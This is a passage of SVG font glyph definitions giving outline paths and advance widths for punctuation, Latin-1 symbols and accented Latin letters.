<glyph unicode="}" horiz-adv-x="807" d="M82 -98q99 2 136.5 36t37.5 105v299v11q0 86 59 139.5t174 70.5v12q-227 34 -233 222v299q0 70 -37 104t-137 37v225q167 0 262 -26.5t135.5 -84t40.5 -167.5v-318v-10q0 -84 61.5 -126t194.5 -42v-239q-125 0 -190.5 -41t-65.5 -138v-315q0 -112 -41 -169t-135.5 -83.5 t-261.5 -26.5v226z" />
<glyph unicode="~" d="M88 551v231q103 109 256 109q73 0 137.5 -16t139.5 -48q129 -55 227 -55q53 0 116 32t117 89v-231q-101 -109 -256 -109q-66 0 -126 13t-150 50q-131 56 -227 56q-55 0 -117.5 -33.5t-116.5 -87.5z" />
<glyph unicode="&#xa1;" horiz-adv-x="586" d="M117 -369l51 975h244l51 -975h-346zM117 948q0 81 46.5 125.5t127.5 44.5q84 0 130 -44t46 -126q0 -84 -45 -127t-131 -43q-83 0 -128.5 44t-45.5 126z" />
<glyph unicode="&#xa2;" d="M143 741q0 261 104.5 403t315.5 173v166h178v-158q166 -9 299 -74l-90 -235q-72 29 -134 47t-124 18q-121 0 -179 -83.5t-58 -254.5q0 -327 237 -327q82 0 148 15.5t166 60.5v-254q-127 -61 -265 -70v-188h-178v196q-420 59 -420 565z" />
<glyph unicode="&#xa3;" d="M82 0v248q103 44 141.5 101t38.5 157v145h-178v219h178v195q0 201 114.5 309.5t323.5 108.5q195 0 390 -82l-93 -230q-157 64 -272 64q-78 0 -120 -44.5t-42 -127.5v-193h375v-219h-375v-143q0 -170 -151 -248h718v-260h-1048z" />
<glyph unicode="&#xa4;" d="M113 1047l147 147l127 -127q91 53 197 53q105 0 196 -55l127 129l150 -143l-129 -129q53 -89 53 -199q0 -107 -53 -199l125 -125l-146 -145l-127 125q-95 -51 -196 -51q-115 0 -199 51l-125 -123l-145 145l127 125q-54 93 -54 197q0 102 54 197zM395 723 q0 -77 54.5 -132.5t134.5 -55.5q81 0 136.5 55t55.5 133q0 80 -56.5 135t-135.5 55q-78 0 -133.5 -56t-55.5 -134z" />
<glyph unicode="&#xa5;" d="M6 1462h316l262 -602l264 602h313l-383 -747h195v-178h-246v-138h246v-178h-246v-221h-287v221h-247v178h247v138h-247v178h190z" />
<glyph unicode="&#xa6;" horiz-adv-x="1128" d="M455 350h219v-815h-219v815zM455 735v815h219v-815h-219z" />
<glyph unicode="&#xa7;" horiz-adv-x="995" d="M106 59v207q81 -41 180 -69.5t169 -28.5q194 0 194 117q0 39 -18.5 63t-63.5 49.5t-125 59.5q-183 74 -252 152.5t-69 195.5q0 79 36 144.5t97 105.5q-133 84 -133 233q0 131 111.5 210t293.5 79q170 0 363 -84l-82 -190q-68 32 -138.5 57.5t-148.5 25.5q-81 0 -118 -23 t-37 -71q0 -49 49.5 -86t163.5 -82q163 -64 240 -148.5t77 -193.5q0 -177 -125 -260q62 -40 93.5 -92.5t31.5 -126.5q0 -148 -119.5 -235.5t-320.5 -87.5q-203 0 -349 79zM344 827q0 -67 65 -119t181 -98q78 57 78 146q0 68 -50.5 115t-183.5 96q-37 -14 -63.5 -53.5 t-26.5 -86.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="1243" d="M279 1405q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM682 1405q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM242 731q0 -164 82 -305.5t224 -223t304 -81.5q164 0 305.5 82t223 224t81.5 304q0 164 -82 305.5t-224 223 t-304 81.5q-164 0 -305.5 -82t-223 -224t-81.5 -304zM461 733q0 220 110.5 342.5t309.5 122.5q149 0 305 -78l-74 -168q-113 58 -217 58q-97 0 -150 -74t-53 -205q0 -280 203 -280q57 0 123 15t123 44v-191q-120 -57 -252 -57q-204 0 -316 125t-112 346z" />
<glyph unicode="&#xaa;" horiz-adv-x="784" d="M47 975q0 109 82.5 163.5t267.5 63.5l99 4q0 117 -127 117q-81 0 -217 -61l-66 135q66 32 145.5 57t178.5 25q137 0 211.5 -71t74.5 -202v-442h-135l-31 110q-43 -58 -105 -90t-136 -32q-117 0 -179.5 58.5t-62.5 164.5zM252 977q0 -38 23 -56t55 -18q77 0 121.5 41.5 t44.5 106.5v36l-99 -6q-145 -10 -145 -104z" />
<glyph unicode="&#xab;" horiz-adv-x="1260" d="M82 547v26l371 455l219 -119l-279 -348l279 -348l-219 -119zM588 547v26l370 455l220 -119l-279 -348l279 -348l-220 -119z" />
<glyph unicode="&#xac;" d="M88 612v219h993v-583h-219v364h-774z" />
<glyph unicode="&#xad;" horiz-adv-x="659" d="M61 424v250h537v-250h-537z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM242 731q0 -164 82 -305.5t224 -223t304 -81.5q164 0 305.5 82t223 224t81.5 304q0 164 -82 305.5t-224 223 t-304 81.5q-164 0 -305.5 -82t-223 -224t-81.5 -304zM543 272v916h264q181 0 265.5 -70t84.5 -213q0 -170 -143 -233l237 -400h-254l-178 338h-47v-338h-229zM772 778h31q66 0 94.5 28.5t28.5 94.5q0 65 -28 92t-97 27h-29v-242z" />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M-6 1556v201h1036v-201h-1036z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M92 1137q0 92 46 172t126 127t174 47q92 0 172.5 -46t127 -127t46.5 -173q0 -93 -46.5 -173.5t-126.5 -125.5t-173 -45q-145 0 -245.5 99.5t-100.5 244.5zM283 1137q0 -64 44.5 -109t110.5 -45t111 46t45 108q0 63 -45.5 110t-110.5 47q-64 0 -109.5 -46t-45.5 -111z" />
<glyph unicode="&#xb1;" d="M88 0v219h993v-219h-993zM88 674v219h387v389h219v-389h387v-219h-387v-385h-219v385h-387z" />
<glyph unicode="&#xb2;" horiz-adv-x="776" d="M47 1354q147 129 336 129q137 0 216 -66.5t79 -183.5q0 -85 -47 -160t-176 -192l-105 -95h352v-200h-647v168l224 219q102 100 130.5 144.5t28.5 94.5q0 38 -24 58t-64 20q-81 0 -180 -88z" />
<glyph unicode="&#xb3;" horiz-adv-x="776" d="M59 639v190q148 -90 271 -90q143 0 143 107q0 53 -44 79.5t-122 26.5h-112v160h92q83 0 123.5 26t40.5 83q0 38 -25 63t-76 25q-47 0 -89 -19t-99 -59l-101 141q62 47 137.5 78t178.5 31q127 0 208 -64t81 -168q0 -143 -170 -198v-13q94 -20 146 -75t52 -134 q0 -121 -88 -190.5t-274 -69.5q-143 0 -273 70z" />
<glyph unicode="&#xb4;" horiz-adv-x="1243" d="M332 1241v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xb5;" horiz-adv-x="1352" d="M160 -492v1610h305v-653q0 -121 44 -181.5t138 -60.5q126 0 183 86.5t57 282.5v526h305v-1118h-231l-43 150h-15q-42 -85 -102 -127.5t-148 -42.5q-62 0 -114 23t-84 67l5 -85l5 -157v-320h-305z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M113 1042q0 260 109 387t341 127h604v-1816h-161v1616h-166v-1616h-162v819q-62 -18 -146 -18q-216 0 -317.5 125t-101.5 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="584" d="M117 723q0 84 45 127t131 43q83 0 128.5 -44t45.5 -126q0 -81 -46.5 -125.5t-127.5 -44.5q-84 0 -130 44t-46 126z" />
<glyph unicode="&#xb8;" horiz-adv-x="420" d="M-37 -303q27 -7 72.5 -14t70.5 -7q72 0 72 62q0 83 -166 108l78 154h193l-27 -61q74 -24 118 -74.5t44 -114.5q0 -128 -75.5 -185t-233.5 -57q-78 0 -146 21v168z" />
<glyph unicode="&#xb9;" horiz-adv-x="776" d="M92 1227l301 235h191v-876h-238v446l3 112l5 95q-27 -36 -75 -78l-78 -61z" />
<glyph unicode="&#xba;" horiz-adv-x="795" d="M57 1116q0 169 89.5 266t252.5 97q152 0 245 -98.5t93 -264.5q0 -171 -91.5 -267.5t-250.5 -96.5q-153 0 -245.5 98.5t-92.5 265.5zM260 1116q0 -100 32.5 -150.5t104.5 -50.5t103.5 50.5t31.5 150.5t-31.5 149.5t-103.5 49.5t-104.5 -49.5t-32.5 -149.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1260" d="M82 213l278 348l-278 348l219 119l371 -455v-26l-371 -453zM588 213l278 348l-278 348l219 119l371 -455v-26l-371 -453z" />
<glyph unicode="&#xbc;" horiz-adv-x="1804" d="M46 1227l301 235h191v-876h-238v446l3 112l5 95q-27 -36 -75 -78l-78 -61zM320 0l811 1462h239l-811 -1462h-239zM936 152v154l385 577h236v-563h125v-168h-125v-151h-238v151h-383zM1121 320h198v164q0 86 6 184q-9 -26 -35.5 -80t-41.5 -77z" />
<glyph unicode="&#xbd;" horiz-adv-x="1804" d="M46 1227l301 235h191v-876h-238v446l3 112l5 95q-27 -36 -75 -78l-78 -61zM320 0l811 1462h239l-811 -1462h-239zM1061 769q147 129 336 129q137 0 216 -66.5t79 -183.5q0 -85 -47 -160t-176 -192l-105 -95h352v-200h-647v168l224 219q102 100 130.5 144.5t28.5 94.5 q0 38 -24 58t-64 20q-81 0 -180 -88z" />
<glyph unicode="&#xbe;" horiz-adv-x="1804" d="M90 639v190q148 -90 271 -90q143 0 143 107q0 53 -44 79.5t-122 26.5h-112v160h92q83 0 123.5 26t40.5 83q0 38 -25 63t-76 25q-47 0 -89 -19t-99 -59l-101 141q62 47 137.5 78t178.5 31q127 0 208 -64t81 -168q0 -143 -170 -198v-13q94 -20 146 -75t52 -134 q0 -121 -88 -190.5t-274 -69.5q-143 0 -273 70zM391 0l811 1462h239l-811 -1462h-239zM966 152v154l385 577h236v-563h125v-168h-125v-151h-238v151h-383zM1151 320h198v164q0 86 6 184q-9 -26 -35.5 -80t-41.5 -77z" />
<glyph unicode="&#xbf;" horiz-adv-x="977" d="M61 -29q0 108 48.5 187t191.5 184q95 70 121.5 107t26.5 98v59h264v-74q0 -98 -44.5 -169t-152.5 -148q-109 -78 -137.5 -122t-28.5 -107q0 -57 43.5 -94t132.5 -37q79 0 169 29t186 71l102 -221q-98 -56 -221.5 -90.5t-229.5 -34.5q-220 0 -345.5 96.5t-125.5 265.5z M395 948q0 81 46.5 125.5t127.5 44.5q84 0 130 -44t46 -126q0 -84 -45 -127t-131 -43q-83 0 -128.5 44t-45.5 126z" />
<glyph unicode="&#xc0;" horiz-adv-x="1413" d="M0 0l516 1468h379l518 -1468h-334l-106 348h-533l-106 -348h-334zM518 608h381q-147 473 -165.5 535t-26.5 98q-33 -128 -189 -633zM338 1886v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xc1;" horiz-adv-x="1413" d="M0 0l516 1468h379l518 -1468h-334l-106 348h-533l-106 -348h-334zM518 608h381q-147 473 -165.5 535t-26.5 98q-33 -128 -189 -633zM541 1579v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xc2;" horiz-adv-x="1413" d="M0 0l516 1468h379l518 -1468h-334l-106 348h-533l-106 -348h-334zM518 608h381q-147 473 -165.5 535t-26.5 98q-33 -128 -189 -633zM272 1579v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xc3;" horiz-adv-x="1413" d="M0 0l516 1468h379l518 -1468h-334l-106 348h-533l-106 -348h-334zM518 608h381q-147 473 -165.5 535t-26.5 98q-33 -128 -189 -633zM293 1577q11 145 82.5 227t189.5 82q41 0 80.5 -16.5t78 -36t75.5 -35.5t73 -16q31 0 59.5 26t41.5 80h149q-11 -145 -83.5 -227 t-188.5 -82q-41 0 -80.5 16.5t-78 36t-75.5 36t-73 16.5q-31 0 -59.5 -26.5t-41.5 -80.5h-149z" />
<glyph unicode="&#xc4;" horiz-adv-x="1413" d="M0 0l516 1468h379l518 -1468h-334l-106 348h-533l-106 -348h-334zM518 608h381q-147 473 -165.5 535t-26.5 98q-33 -128 -189 -633zM365 1743q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM768 1743 q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xc5;" horiz-adv-x="1413" d="M0 0l516 1468h379l518 -1468h-334l-106 348h-533l-106 -348h-334zM518 608h381q-147 473 -165.5 535t-26.5 98q-33 -128 -189 -633zM457 1565q0 108 67.5 172.5t180.5 64.5q110 0 182 -66t72 -169q0 -108 -71 -174t-183 -66t-180 64t-68 174zM609 1565q0 -45 24 -71 t72 -26q42 0 69 26t27 71t-27 70.5t-69 25.5t-69 -25.5t-27 -70.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="1950" d="M0 0l655 1462h1174v-254h-563v-321h526v-254h-526v-377h563v-256h-873v348h-491l-150 -348h-315zM578 608h378v590h-127z" />
<glyph unicode="&#xc7;" horiz-adv-x="1305" d="M119 729q0 228 83 399.5t238.5 263t364.5 91.5q213 0 428 -103l-100 -252q-82 39 -165 68t-163 29q-175 0 -271 -131.5t-96 -366.5q0 -489 367 -489q154 0 373 77v-260q-180 -75 -402 -75q-319 0 -488 193.5t-169 555.5zM504 -303q27 -7 72.5 -14t70.5 -7q72 0 72 62 q0 83 -166 108l78 154h193l-27 -61q74 -24 118 -74.5t44 -114.5q0 -128 -75.5 -185t-233.5 -57q-78 0 -146 21v168z" />
<glyph unicode="&#xc8;" horiz-adv-x="1147" d="M184 0v1462h842v-254h-532v-321h495v-254h-495v-377h532v-256h-842zM259 1886v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xc9;" horiz-adv-x="1147" d="M184 0v1462h842v-254h-532v-321h495v-254h-495v-377h532v-256h-842zM424 1579v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xca;" horiz-adv-x="1147" d="M184 0v1462h842v-254h-532v-321h495v-254h-495v-377h532v-256h-842zM175 1579v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xcb;" horiz-adv-x="1147" d="M184 0v1462h842v-254h-532v-321h495v-254h-495v-377h532v-256h-842zM272 1743q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM675 1743q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97 t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xcc;" horiz-adv-x="678" d="M184 0v1462h310v-1462h-310zM-58 1886v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xcd;" horiz-adv-x="678" d="M184 0v1462h310v-1462h-310zM167 1579v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xce;" horiz-adv-x="678" d="M184 0v1462h310v-1462h-310zM-96 1579v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xcf;" horiz-adv-x="678" d="M184 0v1462h310v-1462h-310zM-3 1743q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM400 1743q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z " />
<glyph unicode="&#xd0;" horiz-adv-x="1516" d="M47 596v254h137v612h459q358 0 556 -189t198 -528q0 -361 -205.5 -553t-593.5 -192h-414v596h-137zM494 256h131q450 0 450 481q0 232 -104 351.5t-314 119.5h-163v-358h237v-254h-237v-340z" />
<glyph unicode="&#xd1;" horiz-adv-x="1665" d="M184 0v1462h391l635 -1095h7q-15 285 -15 403v692h279v-1462h-394l-636 1106h-9q19 -293 19 -418v-688h-277zM418 1577q11 145 82.5 227t189.5 82q41 0 80.5 -16.5t78 -36t75.5 -35.5t73 -16q31 0 59.5 26t41.5 80h149q-11 -145 -83.5 -227t-188.5 -82q-41 0 -80.5 16.5 t-78 36t-75.5 36t-73 16.5q-31 0 -59.5 -26.5t-41.5 -80.5h-149z" />
<glyph unicode="&#xd2;" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5t515.5 -194t178.5 -558q0 -363 -180 -558t-516 -195t-516 195t-180 560zM444 733q0 -245 93 -369t278 -124q371 0 371 493q0 494 -369 494q-185 0 -279 -124.5t-94 -369.5zM449 1886v21h342q63 -101 235 -301v-27h-202 q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xd3;" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5t515.5 -194t178.5 -558q0 -363 -180 -558t-516 -195t-516 195t-180 560zM444 733q0 -245 93 -369t278 -124q371 0 371 493q0 494 -369 494q-185 0 -279 -124.5t-94 -369.5zM658 1579v27q172 200 235 301h342v-21 q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xd4;" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5t515.5 -194t178.5 -558q0 -363 -180 -558t-516 -195t-516 195t-180 560zM444 733q0 -245 93 -369t278 -124q371 0 371 493q0 494 -369 494q-185 0 -279 -124.5t-94 -369.5zM381 1579v27q189 189 256 301h357q31 -52 107.5 -141.5 t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xd5;" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5t515.5 -194t178.5 -558q0 -363 -180 -558t-516 -195t-516 195t-180 560zM444 733q0 -245 93 -369t278 -124q371 0 371 493q0 494 -369 494q-185 0 -279 -124.5t-94 -369.5zM402 1577q11 145 82.5 227t189.5 82q41 0 80.5 -16.5 t78 -36t75.5 -35.5t73 -16q31 0 59.5 26t41.5 80h149q-11 -145 -83.5 -227t-188.5 -82q-41 0 -80.5 16.5t-78 36t-75.5 36t-73 16.5q-31 0 -59.5 -26.5t-41.5 -80.5h-149z" />
<glyph unicode="&#xd6;" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5t515.5 -194t178.5 -558q0 -363 -180 -558t-516 -195t-516 195t-180 560zM444 733q0 -245 93 -369t278 -124q371 0 371 493q0 494 -369 494q-185 0 -279 -124.5t-94 -369.5zM474 1743q0 65 37.5 100t101.5 35q66 0 103.5 -37 t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM877 1743q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xd7;" d="M129 1024l152 154l301 -299l305 299l153 -150l-305 -305l301 -303l-149 -152l-305 301l-301 -299l-150 152l297 301z" />
<glyph unicode="&#xd8;" horiz-adv-x="1630" d="M119 735q0 365 180.5 557.5t517.5 192.5q198 0 344 -70l84 125l160 -104l-88 -131q194 -194 194 -572q0 -363 -180 -558t-516 -195q-197 0 -336 65l-90 -135l-162 108l90 136q-198 194 -198 581zM444 733q0 -191 56 -307l506 756q-84 45 -189 45q-185 0 -279 -124.5 t-94 -369.5zM635 279q76 -39 180 -39q371 0 371 493q0 180 -51 297z" />
<glyph unicode="&#xd9;" horiz-adv-x="1548" d="M174 520v942h309v-895q0 -169 68 -248t225 -79q152 0 220.5 79.5t68.5 249.5v893h309v-946q0 -162 -72.5 -284t-209.5 -187t-324 -65q-282 0 -438 144.5t-156 395.5zM375 1886v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xda;" horiz-adv-x="1548" d="M174 520v942h309v-895q0 -169 68 -248t225 -79q152 0 220.5 79.5t68.5 249.5v893h309v-946q0 -162 -72.5 -284t-209.5 -187t-324 -65q-282 0 -438 144.5t-156 395.5zM602 1579v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xdb;" horiz-adv-x="1548" d="M174 520v942h309v-895q0 -169 68 -248t225 -79q152 0 220.5 79.5t68.5 249.5v893h309v-946q0 -162 -72.5 -284t-209.5 -187t-324 -65q-282 0 -438 144.5t-156 395.5zM340 1579v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176 q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xdc;" horiz-adv-x="1548" d="M174 520v942h309v-895q0 -169 68 -248t225 -79q152 0 220.5 79.5t68.5 249.5v893h309v-946q0 -162 -72.5 -284t-209.5 -187t-324 -65q-282 0 -438 144.5t-156 395.5zM433 1743q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5 q-64 0 -101.5 35t-37.5 98zM836 1743q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1278" d="M0 1462h336l303 -602l305 602h334l-485 -893v-569h-308v559zM461 1579v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xde;" horiz-adv-x="1286" d="M184 0v1462h310v-229h178q254 0 388 -119t134 -344q0 -229 -142.5 -353t-404.5 -124h-153v-293h-310zM494 543h100q145 0 216 52.5t71 174.5q0 107 -63.5 159t-199.5 52h-124v-438z" />
<glyph unicode="&#xdf;" horiz-adv-x="1456" d="M160 0v1139q0 201 146.5 314.5t404.5 113.5q244 0 391 -88.5t147 -237.5q0 -64 -21 -112.5t-53 -86.5t-69 -67t-69 -53t-53 -45t-21 -43q0 -27 26.5 -53t92.5 -66q146 -91 198.5 -140t78 -110t25.5 -139q0 -172 -116.5 -259t-343.5 -87q-99 0 -171 14.5t-132 48.5v242 q53 -36 135.5 -61t146.5 -25q168 0 168 123q0 41 -16 66.5t-57 55.5t-115 72q-126 72 -175 131.5t-49 140.5q0 64 35 117t105 102q77 55 108 95t31 86q0 60 -63.5 100.5t-163.5 40.5q-116 0 -181 -52.5t-65 -148.5v-1128h-305z" />
<glyph unicode="&#xe0;" horiz-adv-x="1237" d="M86 334q0 178 124.5 262.5t375.5 93.5l194 6v49q0 170 -174 170q-134 0 -315 -81l-101 206q193 101 428 101q225 0 345 -98t120 -298v-745h-213l-59 152h-8q-77 -97 -158.5 -134.5t-212.5 -37.5q-161 0 -253.5 92t-92.5 262zM399 332q0 -129 148 -129q106 0 169.5 61 t63.5 162v92l-118 -4q-133 -4 -198 -48t-65 -134zM239 1548v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xe1;" horiz-adv-x="1237" d="M86 334q0 178 124.5 262.5t375.5 93.5l194 6v49q0 170 -174 170q-134 0 -315 -81l-101 206q193 101 428 101q225 0 345 -98t120 -298v-745h-213l-59 152h-8q-77 -97 -158.5 -134.5t-212.5 -37.5q-161 0 -253.5 92t-92.5 262zM399 332q0 -129 148 -129q106 0 169.5 61 t63.5 162v92l-118 -4q-133 -4 -198 -48t-65 -134zM441 1241v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xe2;" horiz-adv-x="1237" d="M86 334q0 178 124.5 262.5t375.5 93.5l194 6v49q0 170 -174 170q-134 0 -315 -81l-101 206q193 101 428 101q225 0 345 -98t120 -298v-745h-213l-59 152h-8q-77 -97 -158.5 -134.5t-212.5 -37.5q-161 0 -253.5 92t-92.5 262zM399 332q0 -129 148 -129q106 0 169.5 61 t63.5 162v92l-118 -4q-133 -4 -198 -48t-65 -134zM177 1240v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xe3;" horiz-adv-x="1237" d="M86 334q0 178 124.5 262.5t375.5 93.5l194 6v49q0 170 -174 170q-134 0 -315 -81l-101 206q193 101 428 101q225 0 345 -98t120 -298v-745h-213l-59 152h-8q-77 -97 -158.5 -134.5t-212.5 -37.5q-161 0 -253.5 92t-92.5 262zM399 332q0 -129 148 -129q106 0 169.5 61 t63.5 162v92l-118 -4q-133 -4 -198 -48t-65 -134zM217 1239q11 145 82.5 227t189.5 82q41 0 80.5 -16.5t78 -36t75.5 -35.5t73 -16q31 0 59.5 26t41.5 80h149q-11 -145 -83.5 -227t-188.5 -82q-41 0 -80.5 16.5t-78 36t-75.5 36t-73 16.5q-31 0 -59.5 -26.5t-41.5 -80.5 h-149z" />
<glyph unicode="&#xe4;" horiz-adv-x="1237" d="M86 334q0 178 124.5 262.5t375.5 93.5l194 6v49q0 170 -174 170q-134 0 -315 -81l-101 206q193 101 428 101q225 0 345 -98t120 -298v-745h-213l-59 152h-8q-77 -97 -158.5 -134.5t-212.5 -37.5q-161 0 -253.5 92t-92.5 262zM399 332q0 -129 148 -129q106 0 169.5 61 t63.5 162v92l-118 -4q-133 -4 -198 -48t-65 -134zM285 1405q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM688 1405q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36 q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xe5;" horiz-adv-x="1237" d="M86 334q0 178 124.5 262.5t375.5 93.5l194 6v49q0 170 -174 170q-134 0 -315 -81l-101 206q193 101 428 101q225 0 345 -98t120 -298v-745h-213l-59 152h-8q-77 -97 -158.5 -134.5t-212.5 -37.5q-161 0 -253.5 92t-92.5 262zM399 332q0 -129 148 -129q106 0 169.5 61 t63.5 162v92l-118 -4q-133 -4 -198 -48t-65 -134zM381 1477q0 108 67.5 172.5t180.5 64.5q110 0 182 -66t72 -169q0 -108 -71 -174t-183 -66t-180 64t-68 174zM533 1477q0 -45 24 -71t72 -26q42 0 69 26t27 71t-27 70.5t-69 25.5t-69 -25.5t-27 -70.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1878" d="M86 334q0 178 121 262.5t362 93.5l191 6v84q0 69 -44.5 102t-121.5 33q-140 0 -305 -77l-99 202q189 101 422 101q227 0 342 -131q66 64 152.5 96.5t206.5 32.5q221 0 349 -137.5t128 -370.5v-148h-723q5 -130 77 -203t202 -73q196 0 380 88v-236q-79 -39 -171 -59 t-226 -20q-137 0 -249.5 50.5t-184.5 155.5q-98 -117 -196.5 -161.5t-256.5 -44.5q-161 0 -258.5 94.5t-97.5 259.5zM399 332q0 -129 140 -129q101 0 161 61t60 162v92l-113 -4q-124 -4 -186 -47.5t-62 -134.5zM1073 686h430q-2 112 -55 174t-141 62q-217 0 -234 -236z" />
<glyph unicode="&#xe7;" horiz-adv-x="1053" d="M92 553q0 285 142 435.5t407 150.5q194 0 348 -76l-90 -236q-72 29 -134 47.5t-124 18.5q-238 0 -238 -338q0 -328 238 -328q88 0 163 23.5t150 73.5v-261q-74 -47 -149.5 -65t-190.5 -18q-522 0 -522 573zM350 -303q27 -7 72.5 -14t70.5 -7q72 0 72 62q0 83 -166 108 l78 154h193l-27 -61q74 -24 118 -74.5t44 -114.5q0 -128 -75.5 -185t-233.5 -57q-78 0 -146 21v168z" />
<glyph unicode="&#xe8;" horiz-adv-x="1210" d="M92 551q0 281 140.5 434.5t388.5 153.5q237 0 369 -135t132 -373v-148h-721q5 -130 77 -203t202 -73q101 0 191 21t188 67v-236q-80 -40 -171 -59.5t-222 -19.5q-270 0 -422 149t-152 422zM408 686h428q-2 113 -59 174.5t-154 61.5t-152 -61.5t-63 -174.5zM245 1548v21 h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="1210" d="M92 551q0 281 140.5 434.5t388.5 153.5q237 0 369 -135t132 -373v-148h-721q5 -130 77 -203t202 -73q101 0 191 21t188 67v-236q-80 -40 -171 -59.5t-222 -19.5q-270 0 -422 149t-152 422zM408 686h428q-2 113 -59 174.5t-154 61.5t-152 -61.5t-63 -174.5zM447 1241v27 q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
